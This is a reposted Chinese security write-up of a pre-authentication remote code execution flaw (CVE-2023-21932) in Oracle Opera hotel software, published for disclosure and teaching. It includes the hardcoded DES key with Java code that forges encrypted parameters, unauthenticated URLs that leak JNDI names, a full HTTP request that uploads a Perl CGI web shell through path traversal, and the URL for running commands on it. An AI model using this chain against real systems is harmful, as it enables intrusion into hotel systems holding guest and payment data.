利用操作顺序漏洞实现 Oracle Opera RCE

渗透技巧 11个月前 admin
327 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


本文为“代码审计”相关领域,阅读本文大概需10分钟。

背景介绍:

如果你在酒店行业工作,很可能已经见过或使用过 Oracle Opera,全球几乎所有最大的酒店/度假村连锁店都使用该软件,这个重要的软件包含了每位客人的所有 PII,包括但不限于信用卡详细信息。

通过对该软件的源代码分析,我们能够通过利用文件上传 servlet 中的操作顺序错误来实现预身份验证远程命令执行, Oracle 目前已发布关键补丁更新并将该漏洞分配编号 CVE-2023-21932。

遗憾的是,国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级,尽管 Oracle 声称,此漏洞不需要任何身份验证即可利用。

发现:

第一次遇到目标是在 2022 年参加一场现场黑客活动时,目标是美国最大的度假村之一,Oracle Opera 的登录页面就成功引起了白帽子的注意,因为它看起来就像是一些 90 年代的残存软件:

利用操作顺序漏洞实现 Oracle Opera RCE

鉴于该软件的专业性,它可能没有引起安全研究人员社区的太多关注, Jackson T 在 2016 年发现了 Oracle Opera 中的最后一个主要严重漏洞,后被安全客社区拓展分析。

https://jackson_t.gitlab.io/oracle-opera.html

https://www.anquanke.com/post/id/85180

获得这个软件并不困难。该软件的最新版本可在 Oracle 的下载中心轻松获得,在以普通用户身份进行身份验证后即可访问,获得安装文件不需要许可证或销售电话。

分析:

在 operainternalservlets.war 中,白帽子找到了 FileReceiver 端点的 servlet 映射:

 <servlet-mapping>    <servlet-name>FileReceiver</servlet-name>    <url-pattern>/FileReceiver</url-pattern>  </servlet-mapping>


此映射关联回 com.micros.opera.servlet.FileReceiver ,后者负责接收文件并将其上传到系统。

文件接收端点将以下参数作为输入:

String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));


通过以上代码你能发现漏洞吗?这是一个经典的操作顺序错误,上面的代码为 jndiname  和username 参数清理加密的有效负载,然后对其进行解密,这应该是相反的顺序,以使其有效。使用上面的代码,这两个变量可以包含我们想要的任何Payloads,而无需进行任何清理。

然后将这些参数传递给以下函数:

if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) {      success = false;      errorText = "Access denied to " + filename;    }


查看 Utility.isFileInWhiteList 函数,可以看到以下逻辑:

private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" };
public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) { if (log == null) log = GenUtils.getServletLogger("Utility"); boolean ret = false; try { String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS); log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]"); if (envFilename != null && (new File(envFilename)).exists()) { Properties iasprop = getPropertiesFromFile(envFilename); if (iasprop != null) for (String envVar : envVars) { ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName); if (ret) break; } } else { log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]"); } } catch (Exception exception) {} return ret; }

上述函数中用户可控的值为 jndiName 和 schemaName ,如前所述,我们能够控制 schemaName 并且不会对此变量清理。

可以在 isAllowedPath 函数中找到构建和检查路径的逻辑:

public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {    boolean ret = false;    try {      if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {        String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();        String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();        if (adjustedFileName.startsWith(adjustedSourcePath)) {          ret = true;        } else {          throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");        }       } else {        throw new Exception("Either path, schema or filename is null");      }     } catch (Exception e) {      e.printStackTrace();    }     return ret;  }


同样,在此函数中,我们可以控制 schemaName 和 fileName ,由于控制了 schemaName ,并在其中进行了路径遍历,所以可以将adjustedSourcePath的值设置为 D:

String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();

其中  schemaName = “foo/../../../../../”

所以 adjustedSourcePath = "D:" ,我们的 fileName 可以是 D: 中的任何文件,并且允许我们将任意文件写入 D: 

虽然上面描述了任意文件上传到任何位置的漏洞,但没有解释如何实现预授权命令执行,有两个主要程序可以阻止利用上述漏洞,第一个是能够加密有效字符串,第二个是 JNDI 连接名称。

幸运的是,这两个阻碍因素都可以轻松解决,JNDI连接名可以通过访问以下网址获取:

https://example.com/Operajserv/OXIServlets/CRSStatus?info=truehttps://example.com/Operajserv/OXIServlets/BEInterface?info=truehttps://example.com/Operajserv/OXIServlets/ExportReceiver?info=true


JNDI 名称将由这些 servlet 显示,无需任何身份验证即可访问,现在已经获得了 JNDI 名称,我们可以继续处理加密元素,因为需要向 FileReceiver servlet 提供加密字符串以实现预身份验证 RCE。

通过分析发现 Oracle Opera 使用了静态密钥来加密字符串,因此能够重新创建他们的加密过程,并将其重新用于加密任意字符串,这是利用该漏洞所必需的。详见下方代码:

public class Main {  private static final boolean DECRYPT = false;    private static final boolean ENCRYPT = true;    public static final int ECB = 0;    public static final int CBC = 1;    private static final String SK = "bf70460e1fd03bfd";    public static String toHex(String text) {    String result = "";    for (int i = 0; i < text.length(); i++) {      String hexValue = Integer.toHexString(text.charAt(i));      if (hexValue.length() == 1)        hexValue = "0" + hexValue;       result = result + hexValue;    }     return result;  }    public static String fromHex(String text) {    String result = "";    for (int i = 0; i < text.length(); i += 2) {      char c;      String hexValue = text.substring(i, i + 2);      try {        c = (char)Integer.parseInt(hexValue, 16);      } catch (Exception e) {        c = '*';      }       result = result + c;    }     return result;  }    private int[] createKeys(String key) {    int[][] pc2bytes = {         {           0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516,           536871424, 536871428, 66048, 66052, 536936960, 536936964 }, {           0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257,           1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, {           0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8,           2048, 2056, 16777216, 16777224, 16779264, 16779272 }, {           0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224,           134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, {           0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240,           4112, 266256, 4096, 266240, 4112, 266256 }, {           0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456,           33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, {           0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456,           524288, 268959744, 2, 268435458, 524290, 268959746 }, {           0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608,           133120, 198656, 537001984, 537067520, 537004032, 537069568 }, {           0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576,           33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, {           0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480,           1032, 268436488, 1024, 268436480, 1032, 268436488 },         {           0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224,           8192, 8224, 1056768, 1056800, 1056768, 1056800 }, {           0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080,           67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, {           0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112,           134217744, 134221840, 524304, 528400, 134742032, 134746128 }, {           0, 4, 256, 260, 0, 4, 256, 260, 1, 5,           257, 261, 1, 5, 257, 261 } };    int iterations = (key.length() >= 24) ? 3 : 1;    int[] keys = new int[32 * iterations];    boolean[] shifts = {         false, false, true, true, true, true, true, true, false, true,         true, true, true, true, true, false };    int m = 0, n = 0;    for (int j = 0; j < iterations; j++) {      int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);      int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);      int temp = (left >>> 4 ^ right) & 0xF0F0F0F;      right ^= temp;      left ^= temp << 4;      temp = (right >>> -16 ^ left) & 0xFFFF;      left ^= temp;      right ^= temp << -16;      temp = (left >>> 2 ^ right) & 0x33333333;      right ^= temp;      left ^= temp << 2;      temp = (right >>> -16 ^ left) & 0xFFFF;      left ^= temp;      right ^= temp << -16;      temp = (left >>> 1 ^ right) & 0x55555555;      right ^= temp;      left ^= temp << 1;      temp = (right >>> 8 ^ left) & 0xFF00FF;      left ^= temp;      right ^= temp << 8;      temp = (left >>> 1 ^ right) & 0x55555555;      right ^= temp;      left ^= temp << 1;      temp = left << 8 | right >>> 20 & 0xF0;      left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0;      right = temp;      for (int i = 0; i < shifts.length; i++) {        if (shifts[i]) {          left = left << 2 | left >>> 26;          right = right << 2 | right >>> 26;        } else {          left = left << 1 | left >>> 27;          right = right << 1 | right >>> 27;        }         left &= 0xFFFFFFF0;        right &= 0xFFFFFFF0;        int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF];        int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF];        temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF;        keys[n++] = lefttemp ^ temp;        keys[n++] = righttemp ^ temp << 16;      }     }     return keys;  }    private String[] des(String key, String message, boolean encrypt, int mode, String iv) {    int looping[], iterations, spfunction[][] = { {           16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776,           16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560,           66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028,           66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024,           16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540,           16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0,           65540, 66560, 0, 16842756 }, {           -2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272,           -2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0,           Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304,           -2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768,           -2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304,           1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800,           Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, {           520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736,           134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512,           131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320,           512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0,           512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072,           134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800,           131592, 8, 134348808, 131584 }, {           8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800,           8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801,           128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928,           8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800,           8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129,           1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801,           128, 8388608, 8192, 8396928 }, {           256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288,           33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0,           1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432,           1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368,           33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544,           1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288,           0, 1074266112, 34078976, 1073742080 }, {           536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704,           4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384,           4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688,           541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928,           4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600,           0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0,           541081600, 536870912, 4194320, 536887312 }, {           2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152,           0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912,           67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2,           67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2,           2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866,           69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048,           67108866, 67110912, 2048, 2097154 }, {           268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600,           268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160,           266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552,           266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304,           268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760,           262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160,           4160, 262208, 268435456, 268701696 } };    for (; key.length() < 8; key = key + key);    if (mode == 1)      for (; iv.length() < 8; iv = iv + iv);     int[] keys = createKeys(key);    int m = 0;    int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0;    int tempcount = 0;    int len = 8 - message.length() % 8;    if (len == 8)      len = 0;     int i;    for (i = 0; i < len; i++)      message = message + "00";     len = message.length();    i = (len > 505) ? 2 : 1;    String[] result = new String[message.length() / 8 + i];    for (i = 0; i < result.length; ) {      result[i] = "";      i++;    }     if (keys.length == 32) {      iterations = 3;    } else {      iterations = 9;    }     if (iterations == 3) {      looping = new int[3];      if (encrypt) {        looping[0] = 0;        looping[1] = 32;        looping[2] = 2;      } else {        looping[0] = 30;        looping[1] = -2;        looping[2] = -2;      }     } else {      looping = new int[9];      if (encrypt) {        looping[0] = 0;        looping[1] = 32;        looping[2] = 2;        looping[3] = 62;        looping[4] = 30;        looping[5] = -2;        looping[6] = 64;        looping[7] = 96;        looping[8] = 2;      } else {        looping[0] = 94;        looping[1] = 62;        looping[2] = -2;        looping[3] = 32;        looping[4] = 64;        looping[5] = 2;        looping[6] = 30;        looping[7] = -2;        looping[8] = -2;      }     }     if (mode == 1) {      cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);      cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);      m = 0;    }     while (m < len) {      int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);      int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);      if (mode == 1)        if (encrypt) {          left ^= cbcleft;          right ^= cbcright;        } else {          cbcleft2 = cbcleft;          cbcright2 = cbcright;          cbcleft = left;          cbcright = right;        }        int temp = (left >>> 4 ^ right) & 0xF0F0F0F;      right ^= temp;      left ^= temp << 4;      temp = (left >>> 16 ^ right) & 0xFFFF;      right ^= temp;      left ^= temp << 16;      temp = (right >>> 2 ^ left) & 0x33333333;      left ^= temp;      right ^= temp << 2;      temp = (right >>> 8 ^ left) & 0xFF00FF;      left ^= temp;      right ^= temp << 8;      temp = (left >>> 1 ^ right) & 0x55555555;      right ^= temp;      left ^= temp << 1;      left = left << 1 | left >>> 31;      right = right << 1 | right >>> 31;      for (int j = 0; j < iterations; j += 3) {        int endloop = looping[j + 1];        int loopinc = looping[j + 2];        for (i = looping[j]; i != endloop; i += loopinc) {          int right1 = right ^ keys[i];          int right2 = (right >>> 4 | right << 28) ^ keys[i + 1];          temp = left;          left = right;          right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]);        }         temp = left;        left = right;        right = temp;      }       left = left >>> 1 | left << 31;      right = right >>> 1 | right << 31;      temp = (left >>> 1 ^ right) & 0x55555555;      right ^= temp;      left ^= temp << 1;      temp = (right >>> 8 ^ left) & 0xFF00FF;      left ^= temp;      right ^= temp << 8;      temp = (right >>> 2 ^ left) & 0x33333333;      left ^= temp;      right ^= temp << 2;      temp = (left >>> 16 ^ right) & 0xFFFF;      right ^= temp;      left ^= temp << 16;      temp = (left >>> 4 ^ right) & 0xF0F0F0F;      right ^= temp;      left ^= temp << 4;      if (mode == 1)        if (encrypt) {          cbcleft = left;          cbcright = right;        } else {          left ^= cbcleft2;          right ^= cbcright2;        }        result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24);      result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF);      result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF);      result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF);      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24);      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF);      result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF);      result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF);      result[tempcount++] = result[result.length - 1];      chunk += 8;      if (chunk == 512) {        result[result.length - 1] = result[result.length - 1] + result[tempcount++];        chunk = 0;      }     }     if (!encrypt)      result[result.length - 1] = result[result.length - 1].trim();     return result;  }    public String desEncrypt(String key, String message, int mode, String iv) {    String[] result = des(key, message, true, mode, iv);    return result[result.length - 1];  }    public String[] desEncryptStep(String key, String message, int mode, String iv) {    return des(key, message, true, mode, iv);  }    public String desDecrypt(String key, String message, int mode, String iv) {    String[] result = des(key, message, false, mode, iv);    return result[result.length - 1];  }    public String[] desDecryptStep(String key, String message, int mode, String iv) {    return des(key, message, false, mode, iv);  }    public static String encrypt(String msg) {    String ret = "";    Main des = new Main();    if (msg != null && msg.length() != 0)      ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, ""));     return ret;  }    public static String decrypt(String msg) {    String ret = "";    Main des = new Main();    if (msg != null && msg.length() != 0)      ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, "");     return ret;  }    public static String encrypt(String key, String msg, int mode, String iv) {    String ret = "";    Main des = new Main();    if (msg != null && msg.length() != 0)      ret = toHex(des.desEncrypt(key, msg, mode, iv));     return ret;  }    public static String decrypt(String key, String msg, int mode, String iv) {    String ret = "";    Main des = new Main();    if (msg != null && msg.length() != 0)      ret = des.desDecrypt(key, fromHex(msg), mode, iv);     return ret;  }   public static void main(String args[]) {  // jndi name  System.out.println(encrypt("oxiopradigds"));  // username  System.out.println(encrypt("foo/../../../../../"));   }
}


运行上方代码将会输出以下内容:

java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main
// jndi name
0c919bc95270f6921e102ab8ae52e497
// username (with path traversal)
f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25


用于将任意文件上传到 D: 目录的最终Payload可以在下面找到,此 HTTP 请求会将 CGI web shell 上传到本地文件系统:

POST /Operajserv/webarchive/FileReceiver?filename=D:MICROSoperaoperaiascgi-bin80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON&copytoexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1Host: example.comUser-Agent: curl/7.79.1Accept: */*Content-Length: 588Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dcConnection: close
#!ORAMWFR11gappr2perlbinperl.exe
use strict;
print "Cache-Control: no-cachen";print "Content-type: text/htmlnn";
my $req = $ENV{QUERY_STRING}; chomp ($req); $req =~ s/%20/ /g; $req =~ s/%3b/;/g;
print "<html><body>";
print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->';
if (!$req) { print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; } else { print "Executing: $req"; }
print "<pre>"; my @cmd = `$req`; print "</pre>";
foreach my $line (@cmd) { print $line . "<br/>"; }
print "</body></html>";


Web Shell 可在以下位置访问:

https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:Windowswin.ini

利用操作顺序漏洞实现 Oracle Opera RCE


如上所述,无需任何特殊访问或授权即可进行 RCE,利用此漏洞执行的所有步骤均未进行任何身份验证,此漏洞的 CVSS 评分应为 10.0。

当然,Oracle Opera 中还有大量的其它漏洞,其中一些目前仍未解决。所以请永远不要将其暴露在互联网上。

以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收获!

====正文结束====

原文始发于微信公众号(骨哥说事):利用操作顺序漏洞实现 Oracle Opera RCE

版权声明:admin 发表于 2023年6月7日 上午11:25。
转载请注明:利用操作顺序漏洞实现 Oracle Opera RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...